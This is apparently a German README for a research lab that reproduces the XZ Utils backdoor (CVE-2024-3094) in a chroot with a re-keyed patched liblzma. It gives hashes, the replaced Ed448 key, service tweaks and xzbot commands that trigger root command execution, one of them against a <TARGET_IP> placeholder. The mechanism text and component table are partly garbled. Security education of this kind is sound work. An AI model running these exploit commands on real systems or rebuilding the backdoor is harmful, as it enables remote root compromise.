
CVE-2024-3094 - Hintertür in XZ Utils
Nur für Bildungszwecke und autorisierte Sicherheitsforschung.
CVE-2024-3094 ist eine Hintertür, die in den Versionen 5.6.0 und 5.6.1 von XZ Utils (liblzma) eingeführt und am 29. März 2024 vom Sicherheitsforscher Andres Freund entdeckt wurde. Ihr wurde ein CVSS-Wert von 10.0 (Kritisch) zugewiesen.
Dies ist ein Lieferkettenangriff, der über mehr als zwei Jahre von einem Bedrohungsakteur namens „Jia Tan“ (JiaT75) durchgeführt wurde, der sich innerhalb des Projekts Vertrauen aufbaute, bis er den Status eines Co-Maintainers erlangte, und die Hintertür direkt in die Distributions-Tarballs einführte.
Die Hintertür funktioniert wie folgt:
liblzma.so hookt die Funktion RSA_public_decrypt() in OpenSSH über glibcs IFUNC-Mechanismus und fängt den SSH-Authentifizierungsprozess ab.system() mit sshd-Privilegien (root) aus.Dieses Labor repliziert den Mechanismus der Hintertür mit benutzerdefinierten Ed448-Schlüsseln anstelle der Schlüssel des ursprünglichen Akteurs (die nie veröffentlicht wurden).
In real betroffenen Systemen gab es kein chroot. Die Hintertür operierte direkt auf dem sshd des Systems, das die bösartige liblzma.so wie jede andere Shared Library lud — völlig transparent für das System und seine Administratoren.
In diesem Labor verwenden wir chroot ausschließlich aus einem praktischen Grund: Wir müssen ein sshd mit einer bestimmten Version von liblzma.so ausführen, ohne die Bibliotheken des Hostsystems zu ersetzen. Dies ist eine Designentscheidung für die Forschungsumgebung und keine Widerspiegelung der Funktionsweise der Hintertür in der Produktion.
| Komponente | Beschreibung |
|---|---|
env_fs/ | Minimales Ubuntu-22.04-Dateisystem, das als chroot verwendet wird |
Die ursprüngliche Hintertür erfordert sehr spezifische Bedingungen, die in einer Laborumgebung nicht automatisch vorliegen. Folgende Änderungen waren notwendig:
Die im ursprünglichen Repository von MagpieRYL enthaltene liblzma.so.5 verwendet einen unbekannten Ed448-Schlüssel, der nicht zum enthaltenen xzbot-Binary passt. Die originale und authentische liblzma.so.5.6.1 wurde aus dem Debian-Snapshot heruntergeladen (sha256 verifiziert) und mit patch.py von amlweems/xzbot mit seed=0 gepatcht:
original sha256: 605861f833fc181c7cdcabd5577ddb8989bea332648a8f498b4eef89b8f85ad4
patched sha256: ea7206ab4b0c3479ff1b478c8803adc9e7aeba243254a9f601b626ef8aa80e3d
patched offset: 0x24470
Der öffentliche Ed448-Schlüssel des ursprünglichen Akteurs wurde ersetzt durch:
5b 3a fe 03 87 8a 49 b2 82 32 d4 f1 a4 42 ae bd
e1 09 f8 07 ac ef 7d fd 9a 7f 65 b9 62 fe 52 d6
54 73 12 ca ce cf f0 43 37 50 8f 9d 25 29 a8 f1
66 91 69 b2 1c 32 c4 80 00
Der ursprüngliche Dienst verwendet Type=notify, was erfordert, dass sshd eine Startbenachrichtigung an systemd sendet. Das sshd innerhalb der chroot sendet diese nicht, was zu Timeouts führt. Geändert auf Type=simple.
sshd benötigt /run/sshd für die Privilegientrennung. Dieses Verzeichnis existiert in der chroot nicht und wird bei jedem Neustart gelöscht, da run/ ein tmpfs ist. Gelöst mit einem ExecStartPre, das das Verzeichnis vor jedem Dienststart automatisch neu erzeugt.
./xzbot -addr 127.0.0.1:2024 -cmd 'echo pwned > /tmp/result'
cat /home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/result
./xzbot -addr <TARGET_IP>:2024 -cmd 'echo pwned > /tmp/result'
Der Befehl wird innerhalb der chroot ausgeführt, daher wird jede Datei, die unter /tmp/ im Kontext der Hintertür erstellt wird, gespeichert unter:
/home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/
Das heißt, wenn der Befehl echo pwned > /tmp/result lautet, befindet sich die Datei unter:
/home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/result
Um jede vom Exploit erzeugte Datei zu finden:
find /home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/ -type f
Die Meldung ssh: handshake failed: EOF ist das erwartete und korrekte Verhalten. Die Hintertür führt den Befehl aus und schließt die Verbindung, ohne eine SSH-Sitzung aufzubauen. Sie weist nicht auf einen Fehler hin.
Dieses Labor verwendet ein benutzerdefiniertes kryptografisches Schlüsselpaar (seed=0). Das gepatchte liblzma.so akzeptiert nur Payloads, die mit dem entsprechenden privaten Schlüssel signiert wurden — dem Schlüssel, der vom in dieser Umgebung kompilierten xzbot verwendet wird. Jeder andere Client erhält EOF ohne Ausführung.
Dieses Tool wird ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt. Die unbefugte Verwendung gegen Systeme, die dir nicht gehören oder für die du keine ausdrückliche schriftliche Genehmigung zum Testen hast, ist illegal. Der Autor übernimmt keine Verantwortung für Missbrauch.
env_fs/usr/lib/x86_64-linux-gnu/liblzma.so.5 | liblzma 5.6.1, gepatcht mit benutzerdefiniertem Ed448-Schlüssel |
/etc/systemd/system/xzback.service | systemd-Dienst, der verwundbares sshd auf Port 2024 startet |
/xzbot/xzbot | Aus dem Quellcode kompilierter Exploit-Client |